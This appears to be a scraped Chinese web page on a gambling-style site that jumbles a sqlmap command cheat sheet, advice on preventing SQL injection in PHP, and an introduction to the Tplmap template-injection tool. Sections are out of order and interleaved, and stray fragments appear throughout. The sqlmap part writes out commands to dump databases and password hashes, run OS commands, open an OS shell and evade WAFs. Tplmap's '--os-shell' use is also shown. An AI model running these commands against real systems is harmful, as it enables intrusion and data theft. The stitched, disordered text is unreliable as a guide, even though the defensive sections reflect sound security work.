>
威尼斯官方网站-威尼斯平台登录-威尼斯网站
做最好的网站

谈谈PHP网站的防SQL注入,扫描服务器端模板注入

- 编辑:威尼斯官方网站 -

谈谈PHP网站的防SQL注入,扫描服务器端模板注入

测试Web应用程序中的漏洞

Sqlmap:

  • 一般注入流程:
  • sqlmap -u "www.ONDragon.com/ONDragon?id=1" --dbs   查看所有数据库

    sqlmap -u "www.ONDragon.com/ONDragon?id=1" --current-db 查看当前数据库
    
    sqlmap -u "www.ONDragon.com/ONDragon?id=1" --user       查看数据库用户名
    
    sqlmap -u "www.ONDragon.com/ONDragon?id=1" --current-user  查看当前用户名 
    
    sqlmap -u "www.ONDragon.com/ONDragon?id=1" --is-dba     判断权限
    
    sqlmap -u "www.ONDragon.com/ONDragon?id=1" –privileges  判断权限
    
    sqlmap -u "www.ONDragon.com/ONDragon?id=1" --passwords  枚举密码哈希
    
    sqlmap -u "www.ONDragon.com/ONDragon?id=1" --tables -D database'name    获取数据库的表名
    
    sqlmap -u "www.ONDragon.com/ONDragon?id=1" -D database'name -T table'name --columns   获取数据库对应表的字段
    
    sqlmap -u "www.ONDragon.com/ONDragon?id=1" -D database'name -T table'name -C column'name --dump  获取数据库对应表的字段的值   --dump-all  获取所有内容
    
  • -u (get型注入)

    sqlmap -u "www.ONDragon.com/?ONDragon=1"

  • --data (post型注入)

    sqlmap -u "www.ONDragon.com/ONDragon" --data="user=admin&pass=pass" sqlmap -r requests.txt 读取http包进行自动post注入(也可以进去http头部的任意地方注入,只要在注入地方加入 * 即可) sqlmap "www.ONDragon.com" --forms

  • --coockie (cookie注入)

    sqlmap -u "www.ONDragon.com/ONDragon" --cookie="user=admin&pass=pass" --level 2 (level 大于2就行)

  • --batch (自动选择sqlmap默认选项)

  • -p  (参数选择)

    sqlmap -u "www.ONDragon.com" --forms -p admin

1.ACCESS数据库:

sqlmap.py -u “url” /*-u为常规扫描参数*/

sqlmap.py -u “url” –tables /*–tables拆数据库表*/

sqlmap.py -u “url” –columns -T “要拆的表名”/*列出指定表名*/

sqlmap.py -u “url” –dump -T “要拆的表名”-C “要拆的字段名” /*–dump为拆解字段名会保存在sqlmap/output目录下*/

2.MYSQL数据库:

sqlmap.py -u “url” /*扫描注入点*/

sqlmap.py -u “url” –dbs /*列出所有数据库*/

sqlmap.py -u “url” –current-db /*列出当前数据库*/

sqlmap.py -u “url” –current-user /*列出当前用户*/

sqlmap.py -u “url” –tables -D “当前数据库名” /*拆解当前数据库表*/

sqlmap.py -u “url” –columns -T “要拆得的表名” -D “当前数据库名” /*拆解指定表字段名*/

sqlmap.py -u “url” –dump -C “字段名” -T “表名” -D “当前数据库”

3.SQLSERVER数据库:

sqlmap.py -u “url” /*扫描注入点*/

sqlmap.py -u “url” –dbs /*列出所有数据库*/

sqlmap.py -u “url” –current-db /*列出当前数据库*/

sqlmap.py -u “url” –current-user /*列出当前用户*/

sqlmap.py -u “url” –tables -D “当前数据库名” /*拆解当前数据库表*/

sqlmap.py -u “url” –columns -T “要拆得的表名” -D “当前数据库名” /*拆解指定表字段名*/

sqlmap.py -u “url” –dump -C “字段名” -T “表名” -D “当前数据库”

SQLSERVER操作和MYSQL是一样的!!!常见的几种数据库!!!

4.COOKIE注入:

sqlmap.py -u “www.xxx.com/asp或者www.xxx.com/php” –cookie “参数名如id=1” –level 2/*level为提升权限*/

什么数据库就按照上面的数据库加上cookie语句拆解就行了

5.POST注入:

抓包保存到SQLMAP目录下.txt的文件然后输入指令sqlmap.py -r xxx.txt /*xxx.txt为保存包文件的文件名”

sqlmap.py -u “url” –data “POST参数”

6.执行shell命令:

sqlmap.py -u “url” –os-cmd=”net user” /*执行net user命令*/

sqlmap.py -u “url” –os-shell /*系统交互的shell*/

7.注入HTTP请求 :

sqlmap.py -r xxx.txt –dbs /*xxx.txt内容为HTTP请求*/

8.绕过WAF的tamper插件使用:

sqlmap.py -u “url” –tamper “xxx.py”

sqlmap.py -u “url” –tamper=”xxx.py”

关于tamper脚本详细说明在本博客中有,链接为:

9.将注入语句插入到指定位置:

sqlmap.py -u “url(www.xxx.com/id/1*.html)” –dbs

有些网站是采用伪静态的页面使用SQLMAP的普通注入是不行的,所以SQLMAP提供了”*”参数将SQL语句插入指定位置,一般用于伪静态注入。

在使用HTTP注入时使用-r参数也可以直接在文本中添加*号

10.延时注入:

sqlmap –dbs -u “url” –delay 0.5 /*延时0.5秒*/

sqlmap –dbs -u “url” –safe-freq /*请求2次*/

11.使用谷歌语法搜索注入(Google hack):

sqlmap.py -g “inurl:asp?id=1” /*””内为搜索语法,如:inurl,intitle,site,filetype等等。


Options(选项):

–version 显示程序的版本号并退出

-h, –help 显示此帮助消息并退出

-v VERBOSE 详细级别:0-6(默认为1)

Target(目标):

以下至少需要设置其中一个选项,设置目标URL。

-d DIRECT 直接连接到数据库。

-u URL, –url=URL 目标URL。

-l LIST 从Burp或WebScarab代理的日志中解析目标。

-r REQUESTFILE 从一个文件中载入HTTP请求。

-g GOOGLEDORK 处理Google dork的结果作为目标URL。

-c CONFIGFILE 从INI配置文件中加载选项。

Request(请求):

这些选项可以用来指定如何连接到目标URL。

–data=DATA 通过POST发送的数据字符串

–cookie=COOKIE HTTP Cookie头

–cookie-urlencode URL 编码生成的cookie注入

–drop-set-cookie 忽略响应的Set – Cookie头信息

–user-agent=AGENT 指定 HTTP User – Agent头

–random-agent 使用随机选定的HTTP User – Agent头

–referer=REFERER 指定 HTTP Referer头

–headers=HEADERS 换行分开,加入其他的HTTP头

–auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)

–auth-cred=ACRED HTTP身份验证凭据(用户名:密码)

–auth-cert=ACERT HTTP认证证书(key_file,cert_file)

–proxy=PROXY 使用HTTP代理连接到目标URL

–proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)

–ignore-proxy 忽略系统默认的HTTP代理

–delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒

–timeout=TIMEOUT 等待连接超时的时间(默认为30秒)

–retries=RETRIES 连接超时后重新连接的时间(默认3)

–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式

–safe-url=SAFURL 在测试过程中经常访问的url地址

–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL

Optimization(优化):

这些选项可用于优化SqlMap的性能。

-o 开启所有优化开关

–predict-output 预测常见的查询输出

–keep-alive 使用持久的HTTP(S)连接

–null-connection 从没有实际的HTTP响应体中检索页面长度

–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)

Injection(注入):

这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。

-p TESTPARAMETER 可测试的参数(S)

–dbms=DBMS 强制后端的DBMS为此值

–os=OS 强制后端的DBMS操作系统为这个值

–prefix=PREFIX 注入payload字符串前缀

–suffix=SUFFIX 注入payload字符串后缀

–tamper=TAMPER 使用给定的脚本(S)篡改注入数据

Detection(检测):

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。

–level=LEVEL 执行测试的等级(1-5,默认为1)

–risk=RISK 执行测试的风险(0-3,默认为1)

–string=STRING 查询时有效时在页面匹配字符串

–regexp=REGEXP 查询时有效时在页面匹配正则表达式

–text-only 仅基于在文本内容比较网页

Techniques(技巧):

这些选项可用于调整具体的SQL注入测试。

–technique=TECH SQL注入技术测试(默认BEUST)

–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)

–union-cols=UCOLS 定列范围用于测试UNION查询注入

–union-char=UCHAR 用于暴力猜解列数的字符

Fingerprint(指纹):

-f, –fingerprint 执行检查广泛的DBMS版本指纹

Enumeration(枚举):

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己

的SQL语句。

-b, –banner 检索数据库管理系统的标识

–current-user 检索数据库管理系统当前用户

–current-db 检索数据库管理系统当前数据库

–is-dba 检测DBMS当前用户是否DBA

–users 枚举数据库管理系统用户

–passwords 枚举数据库管理系统用户密码哈希

–privileges 枚举数据库管理系统用户的权限

–roles 枚举数据库管理系统用户的角色

–dbs 枚举数据库管理系统数据库

–tables 枚举的DBMS数据库中的表

–columns 枚举DBMS数据库表列

–dump 转储数据库管理系统的数据库中的表项

–dump-all 转储所有的DBMS数据库表中的条目

–search 搜索列(S),表(S)和/或数据库名称(S)

-D DB 要进行枚举的数据库名

-T TBL 要进行枚举的数据库表

-C COL 要进行枚举的数据库列

-U USER 用来进行枚举的数据库用户

–exclude-sysdbs 枚举表时排除系统数据库

–start=LIMITSTART 第一个查询输出进入检索

–stop=LIMITSTOP 最后查询的输出进入检索

–first=FIRSTCHAR 第一个查询输出字的字符检索

–last=LASTCHAR 最后查询的输出字字符检索

–sql-query=QUERY 要执行的SQL语句

–sql-shell 提示交互式SQL的shell

Brute force(蛮力):

这些选项可以被用来运行蛮力检查。

–common-tables 检查存在共同表

–common-columns 检查存在共同列

User-defined function injection(用户自定义函数注入):

这些选项可以用来创建用户自定义函数。

–udf-inject 注入用户自定义函数

–shared-lib=SHLIB 共享库的本地路径

File system access(访问文件系统):

这些选项可以被用来访问后端数据库管理系统的底层文件系统。

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件

–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件

–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

威尼斯网站,Operating system access(操作系统访问):

这些选项可以用于访问后端数据库管理系统的底层操作系统。

 

–os-cmd=OSCMD 执行操作系统命令

–os-shell 交互式的操作系统的shell

–os-pwn 获取一个OOB shell,meterpreter或VNC

–os-smbrelay 一键获取一个OOB shell,meterpreter或VNC

–os-bof 存储过程缓冲区溢出利用

–priv-esc 数据库进程用户权限提升

–msf-path=MSFPATH Metasploit Framework本地的安装路径

–tmp-path=TMPPATH 远程临时文件目录的绝对路径

Windows注册表访问:

这些选项可以被用来访问后端数据库管理系统Windows注册表。

–reg-read 读一个Windows注册表项值

–reg-add 写一个Windows注册表项值数据

–reg-del 删除Windows注册表键值

–reg-key=REGKEY Windows注册表键

–reg-value=REGVAL Windows注册表项值

–reg-data=REGDATA Windows注册表键值数据

–reg-type=REGTYPE Windows注册表项值类型

General(一般):

这些选项可以用来设置一些一般的工作参数。

-t TRAFFICFILE 记录所有HTTP流量到一个文本文件中

-s SESSIONFILE 保存和恢复检索会话文件的所有数据

–flush-session 刷新当前目标的会话文件

–fresh-queries 忽略在会话文件中存储的查询结果

–eta 显示每个输出的预计到达时间

–update 更新SqlMap

–save file保存选项到INI配置文件

–batch 从不询问用户输入,使用所有默认配置。

Miscellaneous(杂项):

–beep 发现SQL注入时提醒

–check-payload IDS对注入payloads的检测测试

–cleanup SqlMap具体的UDF和表清理DBMS

–forms 对目标URL的解析和测试形式

–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果

–page-rank Google dork结果显示网页排名(PR)

–parse-errors 从响应页面解析数据库管理系统的错误消息

–replicate 复制转储的数据到一个sqlite3数据库

–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址

–wizard 给初级用户的简单向导界面

二、     防范SQL注入攻击

威尼斯网站 1

 

1.    对输入的数据进行过滤(过滤输入)

a)      对于动态构造SQL查询的场合,可以使用替换字符和删除特殊字符的方法。

b)     检查用户输入的合法性,防止非法数据输入。数据检查应当在客户端和服务器端执行。执行服务器端验证,是为了弥补客户端验证机制的不足。

c)      限制表单或查询字符串输入的长度范围。

d)     加密用户登录名称、 密码等数据。

git clone

4.    使用存储过程

存储过程存储在数据库系统内部, Web 应用程序通过调用来执行存储过程, 该技术允许用户定义变量、有条件执行以及其它丰富的编程功能。程序开发者利用存储过程事先构建好的 SQL 查询语句代码,然后在使用中通过参数传输数值。存储过程在使用时起到三点安全作用:首先,存储过程执行前要进行预编译,编译出错不予执行;其次,对于数据的授权访问是基于存储过程而不是直接访问基本表,攻击者无法探测到 select 语句;最后,存储过程可以指定和验证用户提供的值类型。

但是,存储过程也存在一定的局限,如果存储过程中执行的命令是拼接字符串,则会存在被注入攻击的隐患。此外,存储过程并不支持所有的数据库平台。

责任编辑:

3     Pangolin

Pangolin是一款帮助渗透测试人员进行SQL注入(SQL Injeciton)测试的安全工具。Pangolin与JSky(Web应用安全漏洞扫描器、Web应用安全评估工具)都是NOSEC公司的产品。Pangolin具备友好的图形界面以及支持测试几乎所有数据库(Access、MSSql、MySql、Oracle、Informix、DB2、Sybase、PostgreSQL、Sqlite)。Pangolin能够通过一系列非常简单的操作,达到最大化的攻击测试效果。它从检测注入开始到最后控制目标系统都给出了测试步骤。Pangolin是目前国内使用率最高的SQL注入测试的安全软件。

可以通过使用以下github链接从github存储库克隆该工具来安装Tplmap。

2.    对发送到数据库的数据进行转义(转义输出)

尽量使用为自定义数据库设计的转义函数。如果没有,使用函数addslashes()是比较好的方法,对字符串型参数使用mysql_real_escape_string函数、对数字型参数使用intval,floatval函数强制过滤则更好。当所有用于建立一个 SQL 语句的数据被正确过滤和转义时,实际上也就避免了 SQL注入的风险。

原标题:Tplmap - 扫描服务器端模板注入漏洞的开源工具

谈谈PHP网站的防SQL注入,谈谈phpsql注入

SQL(Structured Query Language)即结构化查询语言。SQL 注入,就是把 SQL 命令插入到 Web 表单的输入域或页面请求参数的查询字符串中,在 Web表单向 Web 服务器提交 GET 或 POST 请求时,如果服务器端未严格验证参数的有效性和合法性,将导致数据库服务器执行恶意的 SQL 命令。

SQL 注入攻击的过程:

(1)判断 Web 应用是否可以进行 SQL 注入。

(2)寻找 SQL 注入点。

(3)猜解用户名和密码。

(4)寻找 Web 系统管理后台入口。

(5)实施入侵和破坏。

威尼斯网站 2

5.    使用PDO连接数据库

防止SQL注入最好的方法就是不要自己设置SQL 命令和参数,而是用PDO的prepare和bind,原理就在于要把SQL查询命令和传递的参数分开。使用prepare的时候,DB server会把SQL语句解析成SQL命令。使用bind的时候,只是动态传递DB Server解析好的 SQL 命令。

Tplmap不仅利用了文件系统的漏洞,而且还具有使用不同参数访问底层操作系统的能力。以下屏幕截图显示了可用于访问操作系统的不同参数选项

三、     总结

除了以上介绍的防范SQL注入攻击方法之外,还有URL重置技术、页面静态化、屏蔽出错信息、使用web应用防火墙等措施。通过以上措施,SQL注入才能防患于未然。

SQL(Structured Query Language)即结构化查询语言。SQL 注入,就是把 SQL 命令插入到 Web 表单的输入域或页...

安装Tplmap

2     SQLIer

SQLIer可以找到网站上一个有SQL注入漏洞的URL,并根据有关信息来生成利用SQL注入漏洞,但它不要求用户的交互。通过这种方法,它可以生成一个UNION SELECT查询,进而可以强力攻击数据库口令。这个程序在利用漏洞时并不使用引号,这意味着它可适应多种网站。  

SQLIer通过“true/false” SQL注入漏洞强力口令。借助于“true/false” SQL注入漏洞强力口令,用户是无法从数据库查询数据的,只能查询一个可返回“true”、“false”值的语句。  

据统计,一个八个字符的口令(包括十进制ASCII代码的任何字符)仅需要大约1分钟即可破解。

2.1      其使用语法如下,sqlier [选项] [URL]

其选项如下: 

-c :[主机] 清除主机的漏洞利用信息 

-s :[秒]在网页请求之间等待的秒数  

-u:[用户名]从数据库中强力攻击的用户名,用逗号隔开

-w:[选项]将[选项]交由wget

此外,此程序还支持猜测字段名,有如下几种选择:  

--table-names [表格名称]:可进行猜测的表格名称,用逗号隔开

--user-fields[用户字段]:可进行猜测的用户名字段名称,用逗号隔开

--pass-fields [口令字段]:可进行猜测的口令字段名称,用逗号隔开

Tplmap是一个python工具,可以通过使用沙箱转义技术找到代码注入和服务器端模板注入(SSTI)漏洞。该工具能够在许多模板引擎中利用SSTI来访问目标文件或操作系统。一些受支持的模板引擎包括PHP(代码评估),Ruby(代码评估),Jave(代码评估),Python(代码评估),ERB,Jinja2和Tornado。该工具可以执行对这些模板引擎的盲注入,并具有执行远程命令的能力。

3.    参数化查询

参数化查询(Parameterized Query)指的是 Web 程序在实施数据库查询时,在需提交数值或数据的地方避免直接赋值,而是采用参数来传递给值。

使用参数化查询技术,数据库服务器不会将参数的内容视为 SQL 指令的一个组成部分来处理,在数据库系统完成对 SQL 指令的编译后,再载入参数运行。因此,即使参数中含有指令,也不会被数据库编译运行。

文章出处:latesthackingnews返回搜狐,查看更多

1.    Sqlmap

Sqlmap 是一个自动化的 SQL 注入工具, 其主要功能是扫描,发现并利用给定的 URL 的 SQL 注入漏洞,日前支持的数据库是MS SQL Server, MySQL, oracle 和 postgresql。 SQLMAP 采用四种独特的 SQL 注入技术,分别是盲推理 SQL 注入, UNION 查询 SQL 注入,堆查询和基于时间的 SQL 盲注入。其广泛的功能和选项包括数据库指纹,枚举, 数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

1.1      sqlmap 常用命令介绍

Target(目标):至少需要设置其中一个选项,设置目标 URL。

-d DIRECT 直接连接到数据库。

-u URL,--url=URL 目标 URL。

Request(请求):这些选项可以用来指定如何连接到目标 URL。

――data=DATA 通过 POST 发送的数据字符串。

――cookie=COOKIE HTTP Cookie 头。

Optimization(优化):这些选项可用于优化 sqlmap 的性能。

-o 开户所有优化开关

--threads=THREADS 最大的 HTTP( S)请求并发量(默认为 1)。

Injection(注入):这些选项可以用来指定测试哪些参数。

-p TESTPARAMETER 可测试的参数。

--prefix=PREFIX 注入 payload 字符串前缀。

./tplmap.py -u <'目标网址'>

一、     SQL注入漏洞测试工具

威尼斯网站 3

./tplmap.py --os-shell -u <'目标网址'>

成功安装后,将目录路径更改为tplmap安装文件以启动tplmap.py。

以下命令可用于测试目标URL中的易受攻击的参数。

对于易受攻击的目标操作系统,可以使用前面提到的其中一个参数重新运行tplmap命令。例如,我们可以通过以下方式将-os -shell选项与tplmap命令一起使用。

-os -shell选项在目标操作系统上启动伪终端以执行所需的代码。

威尼斯网站 4

如果发现漏洞,该工具将输出有关目标中可能注入点的详细信息。这些包括GET参数值(无论是id还是名称),模板引擎(例如Tornado),OS(例如Linux)和注入技术(例如渲染,盲)。

执行该命令后,该工具会针对多个插件测试目标URL以查找代码注入机会。

本文由威尼斯网站发布,转载请注明来源:谈谈PHP网站的防SQL注入,扫描服务器端模板注入